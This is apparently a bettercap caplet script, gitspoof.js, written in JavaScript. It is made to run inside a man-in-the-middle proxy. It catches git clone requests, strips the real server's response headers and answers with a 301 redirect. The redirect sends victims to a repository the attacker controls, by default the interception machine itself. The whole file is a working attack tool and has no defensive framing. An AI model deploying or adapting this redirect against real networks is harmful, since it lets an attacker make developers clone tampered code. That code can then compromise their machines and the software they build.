caplets/gitspoof/gitspoof.js

30 lines
1002 B
JavaScript

var gitspoof_repo = undefined;
var red = "\033[31m",
yellow = "\033[33m",
green = "\033[32m",
bold = "\033[1;37m",
reset = "\033[0m"
function onLoad() {
env["gitspoof.repo"] ? gitspoof_repo = env["gitspoof.repo"] : gitspoof_repo = env["iface.ipv4"];
log( "Gitspoof loaded" );
log(green +"Git redirect to repo: " + yellow + gitspoof_repo + "/" + reset);
}
function onResponse(req, res) {
if (req.Query == 'service=git-upload-pack') {
log(bold + "Got git clone request, attempting redirect" + reset);
}
if (req.Query == 'service=git-upload-pack' && req.Hostname != gitspoof_repo) {
res.Status = 301;
headers = res.Headers.split("\r\n");
for (var i = 0; i < headers.length; i++) {
header_name = headers[i].replace(/:.*/, "");
res.RemoveHeader(header_name);
}
res.SetHeader("Location", "http://" + gitspoof_repo + "/info/refs?service=git-upload-pack");
res.Body = "";
}
}